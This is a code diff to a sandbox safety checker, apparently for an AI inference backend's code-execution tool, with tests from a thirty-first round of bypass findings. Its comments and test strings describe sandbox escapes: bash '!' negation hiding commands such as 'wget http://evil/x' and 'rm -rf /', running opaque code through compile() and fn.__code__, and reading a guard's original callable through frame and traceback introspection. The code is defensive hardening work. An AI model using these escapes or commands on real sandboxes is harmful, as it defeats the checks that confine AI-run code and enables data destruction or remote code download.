diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py index e84c867767..c760bb2f42 100644 --- a/studio/backend/core/inference/tools.py +++ b/studio/backend/core/inference/tools.py @@ -926,6 +926,12 @@ def _find_blocked_commands(command: str) -> set[str]: continue if not expect_command: continue + # A leading `!` negates the pipeline exit status, but the following word is still the + # command bash executes (`! touch x`, `! python3 -c ...`). Keep command position so the + # real command is scanned, rather than mistaking `!` for the command and its command for + # an argument. + if token == "!": + continue # FOO=bar assignment prefix; next non-assignment token is the command. if _ASSIGNMENT_RE.match(token): continue @@ -1082,6 +1088,8 @@ def _find_blocked_commands(command: str) -> set[str]: continue if not expect: continue + if _tok == "!": + continue # pipeline negation keeps command position (! bash s.sh) if _ASSIGNMENT_RE.match(_tok): continue if pending and _is_wrapper_numeric_arg(_tok): @@ -4900,12 +4908,14 @@ def _check_signal_escape_patterns( ), } ) - elif func_id != "compile": + else: # An opaque, non-recoverable payload for an executing sink (eval/exec/ # runpy) is a universal ACE bypass: it can synthesize any shell/network/ - # filesystem escape at runtime, invisibly to every static check. Block it - # (compile() alone does not run, so it stays allowed -- the exec/eval of its - # result is caught at that call). ast.literal_eval / json.loads cover data. + # filesystem escape at runtime, invisibly to every static check. compile() + # does not itself run, but its CODE OBJECT can be executed without exec/eval + # (fn.__code__ = compile(src, '
', 'exec'); fn()), so an opaque compile + # source is equally unverifiable and is blocked too. A literal source is + # analyzed recursively above; ast.literal_eval / json.loads cover data. dynamic_exec.append( { "type": "dynamic_exec", @@ -5007,6 +5017,28 @@ def _check_signal_escape_patterns( "__builtins__", "__closure__", "cell_contents", + # Frame / traceback introspection recovers a runtime-guard wrapper's ORIGINAL + # unguarded callable: it is a free variable (`real`) in the wrapper's frame, so a + # snippet that triggers a denied open() can read it back via a trace hook or the + # caught exception's traceback (frame.f_locals['real'], tb.tb_frame.f_locals) and + # call it directly, escaping the filesystem boundary. __closure__ / cell_contents + # are already blocked, so the frame path is the remaining channel; close it by + # flagging frame acquisition (settrace / _getframe / currentframe / tb_frame) and + # the f_locals / f_globals value read for ANY receiver. + "f_locals", + "f_globals", + "f_back", + "f_builtins", + "tb_frame", + "tb_next", + "gi_frame", + "cr_frame", + "ag_frame", + "settrace", + "setprofile", + "_getframe", + "_current_frames", + "currentframe", } ) diff --git a/studio/backend/tests/test_sandbox_tools.py b/studio/backend/tests/test_sandbox_tools.py index 83d09553a0..be8ea4554b 100644 --- a/studio/backend/tests/test_sandbox_tools.py +++ b/studio/backend/tests/test_sandbox_tools.py @@ -3393,3 +3393,70 @@ class TestRound30Bypasses: ) def test_round30_benign_allowed(self, code): _ok(code) + + +class TestRound31Bypasses: + """Thirty-first-round Codex findings: frame / traceback introspection recovering a runtime + guard's original callable, an opaque compile() source executable via __code__, and a bash + pipeline-negation `!` mistaken for the command word.""" + + @pytest.mark.parametrize( + "code", + [ + # A leading ! negates the pipeline but the next word is still the command that runs. + "import os\nos.system('! touch /tmp/escape')", + "import os\nos.system('! python3 -c \"import os\"')", + "import subprocess\nsubprocess.run('! wget http://evil/x', shell=True)", + "import os\nos.system('! rm -rf /')", + "import os\nos.system('! bash script.sh')", + ], + ) + def test_shell_negation_command_position_blocked(self, code): + assert _check_code_safety(code) is not None, code + + @pytest.mark.parametrize( + "code", + [ + # An opaque compile() source is executable via fn.__code__ = compile(...); fn(), + # bypassing exec / eval / types.FunctionType, so it must be blocked like exec. + "src = get()\nc = compile(src, '
', 'exec')", + "def f():\n pass\nf.__code__ = compile(payload, '
', 'exec')\nf()", + "c = compile(open('p.py').read(), '
', 'exec')", + ], + ) + def test_opaque_compile_blocked(self, code): + assert _check_code_safety(code) is not None, code + + @pytest.mark.parametrize( + "code", + [ + # Frame / traceback introspection can read a guard wrapper's original `real` callable + # from frame.f_locals after a denied open(); block the acquisition + f_locals read. + "import sys\ndef t(fr, e, a):\n r = fr.f_locals.get('real')\n return t\nsys.settrace(t)", + "try:\n open('/x', 'w')\nexcept PermissionError as e:\n r = e.__traceback__.tb_frame.f_locals['real']", + "import sys\nr = sys._getframe(1).f_locals", + "import inspect\nr = inspect.currentframe().f_back.f_locals", + "import sys\nr = getattr(sys._getframe(), 'f_locals')", + "import sys\nsys.setprofile(hook)", + ], + ) + def test_frame_introspection_blocked(self, code): + assert _check_code_safety(code) is not None, code + + @pytest.mark.parametrize( + "code", + [ + # A literal compile source is analyzed recursively and stays allowed; ! in argument + # position (test / find) is not a command; frame-free code and normal exception / + # traceback formatting must still pass. + "c = compile('1 + 1', '
', 'eval')\nprint(eval('1 + 1'))", + "c = compile('x = 1\\nprint(x)', '
', 'exec')", + "import os\nos.system('[ ! -f x.txt ]')", + "import os\nos.system(\"find . ! -name '*.py' -print\")", + "import numpy as np\nx = np.stack([np.ones(3)])\nprint(x.sum())", + "try:\n x = 1 / 0\nexcept ZeroDivisionError as e:\n print('caught', e)", + "import traceback\ntry:\n f()\nexcept Exception:\n traceback.print_exc()", + ], + ) + def test_round31_benign_allowed(self, code): + _ok(code)